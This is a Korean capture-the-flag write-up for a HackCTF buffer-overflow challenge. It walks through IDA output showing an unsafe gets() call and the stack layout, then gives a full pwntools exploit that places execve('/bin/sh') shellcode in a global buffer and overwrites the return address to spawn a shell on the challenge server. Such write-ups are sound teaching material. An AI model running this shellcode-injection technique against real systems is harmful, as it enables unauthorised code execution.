[HackCTF] 내 버퍼가 흘러넘친다!!!

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+0h] [ebp-14h]

  setvbuf(stdout, 0, 2, 0);
  printf("Name : ");
  read(0, &name, 50u);
  printf("input : ");
  gets(&s);
  return 0;
}
```

아이다로 분석한 프로그램의 구조는 이렇다.

read함수로 Name에 50바이트만큼 입력받고

gets함수로 s에 값을 또 받는다.

gets함수에서 입력크기를 받지 않기 때문에 버퍼오버플로우 취약점이 발생할 수 있다.

Name에 들어가는 값을 쉘코드로 하고 s에서 리턴 주소를 name의 주소로 덮어씌우면 익스플로잇이 가능할 것으로 보인다.

```
-00000014 s               db ?
-00000013                 db ? ; undefined
-00000012                 db ? ; undefined
-00000011                 db ? ; undefined
-00000010                 db ? ; undefined
-0000000F                 db ? ; undefined
-0000000E                 db ? ; undefined
-0000000D                 db ? ; undefined
-0000000C                 db ? ; undefined
-0000000B                 db ? ; undefined
-0000000A                 db ? ; undefined
-00000009                 db ? ; undefined
-00000008                 db ? ; undefined
-00000007                 db ? ; undefined
-00000006                 db ? ; undefined
-00000005                 db ? ; undefined
-00000004                 db ? ; undefined
-00000003                 db ? ; undefined
-00000002                 db ? ; undefined
-00000001                 db ? ; undefined
+00000000  s              db 4 dup(?)
+00000004  r              db 4 dup(?)
```

s에서 리턴까지 거리는 0x14 + 0x4 즉 24바이트만큼이다.

24바이트를 아무 값으로 채워넣고 name의 주소를 넣어주면 되겠다.

```
.bss:0804A060                 public name
.bss:0804A060 name            db    ? ;
```

Name의 주소는 0x0804A060가 된다.

이제 이를 실행할 익스플로잇 코드를 짜보면

```
from pwn import *

r = remote("ctf.j0n9hyun.xyz", 3003)

r.recvuntil("Name : ")
r.sendline(b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80")

name = 0x0804A060
r.recvuntil("input : ")
r.sendline(b"A"*24+p32(name))

r.interactive()
```

이렇게 작성하면 쉘을 따고 flag를 알아낼 수 있다.